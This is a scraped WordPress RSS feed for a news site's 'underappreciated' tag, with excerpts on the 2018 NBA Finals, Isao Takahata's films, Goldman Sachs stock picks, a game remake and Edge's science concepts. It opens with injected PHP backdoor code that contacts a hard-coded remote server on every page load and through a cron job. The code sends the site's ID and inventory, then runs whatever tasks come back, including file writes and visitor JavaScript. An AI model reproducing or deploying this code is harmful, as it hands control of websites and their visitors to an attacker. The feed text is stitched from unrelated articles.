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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); underappreciated – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 04 Jun 2018 05:47:14 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png underappreciated – Brief News https://briefnews.eu 32 32 LeBron James threw an underappreciated, all-world pass and it sums up the Cavs’ bleak outlook in the Finals https://briefnews.eu/lebron-james-threw-an-underappreciated-all-world-pass-and-it-sums-up-the-cavs-bleak-outlook-in-the-finals/ https://briefnews.eu/lebron-james-threw-an-underappreciated-all-world-pass-and-it-sums-up-the-cavs-bleak-outlook-in-the-finals/#respond Mon, 04 Jun 2018 05:47:14 +0000 http://briefnews.eu/lebron-james-threw-an-underappreciated-all-world-pass-and-it-sums-up-the-cavs-bleak-outlook-in-the-finals/ LeBron James passABC

  • The Golden State Warriors won Game 2 of the NBA Finals, 122-103, to take a 2-0 lead over the Cleveland Cavaliers.
  • LeBron James had his second-straight big game in a losing effort, scoring 29 points, and just missing a triple-double with 9 rebounds and 13 assists.
  • One play in particular perfectly sums up the Cavs’ hopes in the Finals as James made an unbelievable cross-court pass that went mostly unnoticed because his teammates couldn’t convert the play into points.
  • Despite the mind-boggling pass, the play ended up in a badly missed three-point shot, followed by two missed free throws.

LeBron James had another tremendous performance in Game 2 of the NBA Finals, but once again it was all for naught as the Golden State Warriors won easily, 122-103, to take a 2-0 lead in the series.

One play, in particular, seems to perfectly sum up the Finals, especially LeBron’s lack of help, and the Cavs’ little chance of pulling off an upset.

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“Why must fireflies die so young?”

On April 5, the world lost an animation titan. Isao Takahata, the co-founder of Studio Ghibli, a frequent collaborator with Hayao Miyazaki, and the director of stunning anime films like Grave of the Fireflies and The Tale of Princess Kaguya, died at 82. But not many people outside of hardcore Studio Ghibli fans may recognize his name.

Takahata’s films are rarely given international acclaim and Disney hasn’t rushed to bring his movies Stateside like they have for his partner, Miyazaki. Until a few years ago, most of his filmography wasn’t even available to buy in the U.S. Which is a huge shame. Much credit has been given to Miyazaki for elevating anime to international heights and testing the limits of anime’s narrative and creative potential. But the Isao Takahata legacy is just as groundbreaking, if not more so.

Takahata is a filmmaker so commonly paired off with Miyazaki — who he met while working in the TV industry — and he certainly was his most frequent collaborator. Takahata produced several of Miyazaki’s most beloved masterpieces, including Nausicaa of the Valley of the Wind and Castle in the Sky.

But one look at Takahata’s film catalogue proves that he couldn’t be any more different from Miyazaki. Takahata experimented with surreal, breathy visuals like in The Legend of Princess Kaguya and delved into weird and grotesque comedy like in Pom Poko. And he explored the depths of grief in a way that Miyazaki never dared to touch in his animated war masterpiece, Grave of the Fireflies.

I’ll admit that I wasn’t too drawn to Isao Takahata’s works at first. His screwball comedies were just a little too niche for me, his devastating dramas too hard to process.

But I don’t think it was his niche-ness that was the reason he didn’t reach the same level of global appeal of Miyazaki. Takahata’s films are so distinctly Japanese. Each are rooted in pride of the country, its mythology, its culture — as opposed to Miyazaki, who reveled in creating fantasy worlds that were often influenced by Western mythology (the exceptions being Spirited Away and Princess Mononoke). Each of Takahata’s films are wildly different, but the through-line is that they’re about Japan and Japanese people.

Takahata left a stunning legacy of animated films behind. Here are his best ones.

Grave of the Fireflies

Grave of the Fireflies was the first movie Takahata wrote and directed for Studio Ghibli, in a semi-unofficial collaboration with Miyazaki. The two worked on their vastly different World War II films simultaneously — Takahata on the bleak Grave of the Fireflies, Miyazaki on the whimsical My Neighbor Totoro. They were released in Japan as a double feature, and would portend the kind of emotional whiplash that would become a marker of Takahata’s filmography.

The 1988 film follows a pair of siblings, one teenage boy and his kid sister, attempting to survive in World War II Japan after their mother is killed in a bombing. After living for a time with a cruel aunt, they run away to live in abandoned bomb shelter, and slowly starve to death. But the film, despite its devastating subject matter and nihilistic themes, never once feels manipulative or cloying. It is heartbreakingly intimate, making you feel for the siblings even as their deaths becomes inevitable. It deserves its title as the “saddest film ever made,” but Grave of the Fireflies is more than just the tears you shed. It’s about the small things in life you come to appreciate.

Only Yesterday

Where Grave of the Fireflies‘ emotions felt big, powerful, and raw, Only Yesterday was the opposite. A quiet, wistful romantic drama that doubled as a coming-of-age story, Only Yesterday was released in Japan in 1991 but only received a U.S. release in 2016, nearly 25 years later. It was sometimes referred to as the “lost” Studio Ghibli film, and even now is mostly forgotten in the pantheon of great anime films.

Perhaps it’s because Only Yesterday doesn’t reach the levels of grandeur for which Ghibli films reach. It’s a poetic film about a young Tokyo woman who takes a train trip to the countryside to visit her sister’s family. Along the way, she reminisces about her childhood in the ’60s and her first encounters with love, life, and grief. It’s a film that you wouldn’t expect to see as an anime. Anime — because of its limitless potential and the Japanese film industry’s modest resources —has often become the go-to for big-budget action flicks for Japanese audiences. So you will see extravagant action films in anime, but rarely a coming-of-age film with no fantastical twist whatsoever. That’s what makes Only Yesterday so poignant, and so exemplary of Takahata’s work. He will sometimes go big, but more often than not, he is interested in the small.

Pom Poko

But a few years later, Takahata would prove just how wide-reaching his talent was. In 1994, he directed the weird and slightly perverse Pom Poko. I say perverse, because this is a movie where raccoon spirits use their magical ballsacks to shapeshift or fly. Yes, I said ballsacks.

The Japanese raccoon dogs, or tanuki, are actually based on spirits in Japanese folklore: mischievous, fun-loving spirits who live in a forest habitat. When their forest habitat is threatened by developers, the tanuki band together to scare away the construction workers threatening to destroy their home. It’s a magnificently weird ode to ecological conservation. Pom Poko is so rooted in Japanese folklore and beliefs — and a tone that shifts from family-friendly to overly mature in seconds — that it could not be made by anyone by Takahata

My Neighbors the Yamadas

I remember seeing trailers for My Neighbors the Yamadas on my DVD of Castle in the Sky and being profoundly weirded out. What child’s cartoon did I stumble into? Why did everyone look like a caricature?

This was ostensibly the beginning of Takahata’s break-away from Studio Ghibli’s house style, and a step further down his creative path of irreverent, homey stories. My Neighbors the Yamadas is an episodic comedy film about the hijinks of a suburban family, the Yamadas. It’s a warm slapstick comedy that paved the way for what I think is Takahata’s magnum opus, The Tale of Princess Kaguya.

The Tale of Princess Kaguya

Takahata’s last film as a director may in fact be his masterpiece. An elegiac fairy tale, The Tale of Princess Kaguya follows an old bamboo cutter as he discovers a tiny princess who blooms from a bamboo shoot. He and his kind wife raise her as their own, but discover that she has sudden bursts of growth — jumping one or two years in age in just a few weeks. When she grows older, they take her away to the capital to live in a mansion, in hopes that she’ll become the princess they know she’s destined to be. But the princess, given the name Kaguya, only misses the freedom of the mountain’s open fields and the young bowl-maker’s boy who she played with as a child.

The Tale of Princess Kaguya is the pinnacle of Takahata’s directorial hallmarks. The big, fantastical story feels achingly intimate, his ardor for his home country on display in the story’s homage to Japanese folklore and in the animation’s homage to woodblock prints. And oh, the animation. Drawn to resemble free-hand scribbles, the animation feels wild, loose, and free. It floats on the wind, as if carried off with a thousand cherry blossoms. It’s a gorgeous, deeply affecting movie. And one that perfectly encapsulates Takahata’s legacy.

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How do you find good bargains in a stock market that’s already the most expensive since the dotcom bubble? Goldman Sachs has some ideas.

The bank says the key is to find companies that not only offer compelling cases for future gains, but are also under-owned by fund managers and generally underappreciated by the investment population.

In order to single out the stocks with the most upside potential, the equity strategy team at Goldman picked companies meeting the following three qualifications:

  • Active share across large-cap mutual funds that’s below the S&P 500 median of 7 basis points
  • Active share that’s at or below its five-year average of 7 basis points
  • A buy rating with Goldman equity analysts

The resulting group of stocks has higher expected sales and earnings growth than the median S&P 500 company, while also boasting a lower price-earnings multiple.

Here’s a list of the 14 stocks identified by Goldman, as of March 31, arranged in descending order of active mutual fund share:

14. L3 Technologies

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Ticker: LLL

Sector: Industrials

Upside to Goldman target price: 13%

Large-cap mutual fund active share: 4 bp

Source: Goldman Sachs

13. NetApp

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Ticker: NTAP

Sector: Information technology

Upside to Goldman target price: 16%

Large-cap mutual fund active share: 4 bp

Source: Goldman Sachs

12. Juniper Networks

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Ticker: JNPR

Sector: Information technology

Upside to Goldman target price: 23%

Large-cap mutual fund active share: 4 bp

Source: Goldman Sachs


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In February of 2011, Atlus released a DS role-playing game called Radiant Historia that I described as the love child of Chrono Trigger and Final Fantasy Tactics. It was under-appreciated. And now it’s coming back.

This week in Famitsu, Atlus announced Radiant Historia: Perfect Chronology, a 3DS remake that will come with “a new scenario” and be out on June 29 in Japan. We don’t know whether it’s coming to North America—I pinged Atlus this morning to check—but hopefully it introduces a whole new generation of players to an excellent RPG.

Developed by a ton of experienced staffers who worked on series like Etrian Odyssey and Shin Megami Tensei, Radiant Historia is a time travel game in which you can make several pivotal decisions, then go back to the past to see what other outcomes might result. You can also use information you get in one timeline to alter your decisions in another, sort of like the Zero Escape series. Combine all that with a fun, challenging grid-based combat system and you’ve got a very good video game that I hope gets the attention it deserves this time around.


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The Genetic Book of the Dead — “Natural selection equips every living creature with the genes that enabled its ancestors — a literally unbroken line of them—to survive in their environments …. If only we could read the genome in the appropriate way, it would be a kind of negative imprint of ancient worlds, a description of the ancestral environments of the species: the genetic book of the dead.” — Richard Dawkins, evolutionary biologist

Neurodiversity — “Humans have diversity in neurological conditions. While some, such as autism, are considered disabilities, many argue that they are the result of normal variations in the human genome … that autism shouldn’t be ‘cured’ and that it is an authentic form of human diversity that should be protected …. [Some even say that] Albert Einstein, Wolfgang Mozart, and Nikola Tesla would have been diagnosed on the ‘autistic spectrum’ if they had been alive today.” — Joichi Ito, Director of MIT Media Lab

The Second Law of Thermodynamics —”[This law] states that in an isolated system (one that is not taking in energy), entropy never decreases …. Closed systems inexorably become less structured, less organized, less able to accomplish interesting and useful outcomes, until they slide into an equilibrium of gray, tepid, homogenous monotony and stay there …. The Second Law define the ultimate purpose of life, mind, and human striving: to deploy energy and information to fight back the tide of entropy and carve out refuges of beneficial order.” — Steven Pinker, psychologist

Confirmation Bias — “The great promise of the internet was that more information would automatically yield better decisions. The great disappointment is that more information actually yields more possibilities to confirm what you already believed anyway.” — Brian Eno, artist

Naive realism —”[A]lthough most people take their perceptions of the world at face value, this is a profound error that regularly causes virtually unresolvable conflicts between people …. When it comes to perceiving the physical world, we appear to mostly see things the same way … [b]ut when we move to the social domain of understanding people and their interactions, our ‘seeing’ is driven less by external input and more by expectation and motivation …. In short, we are just as confident in our assessment of Donald Trump’s temperament and Hillary Clinton’s dishonesty as we are in our assessment of trees, shoes, and gummy bears.” — Matthew D. Lieberman, psychologist

Regression to the Mean —”It’s a concept from the discipline of statistics, but in real life it means that anomalies are anomalies, coincidences happen (all the time, with stunning frequency), and the main thing they tell us is that the next thing to happen is very likely to be a lot more boring, ordinary, and predictable …. [I]t teaches us not to be so excitable, not to be so worried, not to be so excited: life really will be, for the most part, boring and predictable.” — James J. O’Donnell, classics scholar

Negativity bias — “[A]cross almost all domains of life, we seem almost preternaturally pessimistic …. Why [?] Evolution. In the environment of our evolutionary ancestry there was an asymmetry of payoffs in which the fitness cost of overreacting to a threat was less than the fitness cost of under-reacting, so we err on the side of overreaction to negative events.” — Michael Shermer, publisher of Skeptic magazine

Parallel Universes of Quantum Mechanics — “In 1957, a Princeton physics graduate student named Hugh Everett showed that the consistency of quantum mechanics required the existence of an infinity of universes parallel to our universe. That is, there has to be a person identical to you reading this identical article right now in a universe identical to ours …. Most physicists, at least most physicists who apply quantum mechanics to cosmology, accept Evertt’s argument … [y]et few people have even heard of the parallel universes.” — Frank Tipler, mathematical physicist

The Illusion of Explanatory Depth —”If you asked one hundred people on the street if they understand how a refrigerator works, most would respond, yes, they do. But ask them to then produce a detailed, step-by-step explanation of how exactly a refrigerator works and you would likely hear silence or stammering. This powerful but inaccurate feeling of knowing is what Leonid Rozenblit and Frank Keil in 2002 termed, the illusion of explanatory depth, stating, ‘Most people feel they understand the world with far greater detail, coherence, and depth than they really do.” — Adam Waytz, psychologist

Herd Immunity —”To be effective, vaccination strategies for contagious diseases rely on a scientific concept known as herd immunity. Herd immunity can be considered a protective shield that prevents un-vaccinated people from coming into contact with the disease, thus stopping its spread. Herd immunity is particularly important for people who cannot be vaccinated, including infants, pregnant women, or immunocompromised individuals.” — Buddhini Samarasinghe, molecular biologist

Sleeper Sensitive Periods — “The juvenile brain is, in general, more plastic than the adult brain. However, the often glossed over details show that the younger brain is not always more sensitive to experience than the older brain. When the biology can be studied in carefully controlled laboratory experiments, we find that periods of greater sensitivity are often delayed, perhaps even timed, until the incoming experience is appropriate to sculpt the brain …. What this means for the big pictures is that it is likely that human development involves a staggered sequence of undiscovered sensitive periods stretching late into the second or even third decade of life.” — Linda Wilbrecht, neuroscientist

See the full list over at Edge.com »

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